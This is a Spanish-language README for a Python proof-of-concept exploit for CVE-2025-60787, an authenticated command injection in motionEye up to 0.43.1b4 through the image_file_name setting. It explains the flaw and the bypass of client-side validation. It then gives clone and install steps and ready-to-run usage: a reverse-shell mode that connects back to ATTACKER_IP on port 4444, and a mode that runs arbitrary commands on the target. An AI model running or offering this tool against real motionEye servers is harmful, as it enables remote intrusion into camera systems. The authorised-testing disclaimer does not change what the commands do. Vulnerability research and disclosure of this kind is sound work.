
PoC en Python para CVE-2025-60787, inyección de comandos del sistema operativo autenticada (RCE) en motionEye <= 0.43.1b4 a través de la configuración image_file_name sin sanear
Ejecución remota de código autenticada en motionEye <= 0.43.1b4 a través de un parámetro de configuración de motion sin saneamiento
Autor: d3vn0mi
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2025-60787 |
| Puntuación CVSS | 7.2 (Alta) |
| Tipo | Inyección de comandos del sistema operativo (CWE-78) |
| Afectados | motionEye <= 0.43.1b4 |
| Corregido en | 0.43.1b5 |
motionEye acepta cadenas arbitrarias en campos de configuración como image_file_name y las escribe directamente en los archivos de configuración de Motion (/etc/motioneye/camera-*.conf). Cuando el servicio de Motion se reinicia, interpreta estos campos como cadenas expandibles por el shell, lo que permite a un atacante autenticado inyectar y ejecutar comandos arbitrarios del sistema operativo.
La interfaz web incluye validación del lado del cliente para estos campos, pero se puede omitir fácilmente enviando solicitudes API manipuladas directamente.
image_file_namecapture_mode: interval-snapshots)requestsgit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
El exploit admite dos modos: shell inversa y ejecución de comandos.
Inicia un listener en tu máquina y luego ejecuta:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso de este software. Obtén siempre la autorización adecuada antes de realizar pruebas.
Este proyecto está licenciado bajo la Licencia MIT.
| Flag | Descripción |
|---|
--url | URL de motionEye objetivo incluido el puerto |
--user | Nombre de usuario de motionEye |
--password | Contraseña de motionEye |
-i / --host | IP del listener (modo shell inversa) |
--port | Puerto del listener (modo shell inversa) |
-e / --exec | Comando a ejecutar (modo comando) |
--camera-id | Seleccionar un ID de cámara específico |
--sh | Usar /bin/sh en lugar de /bin/bash |
--no-verify | Omitir la verificación del certificado TLS |
--proxy | Enrutar el tráfico a través de un proxy (p. ej., http://127.0.0.1:8080) |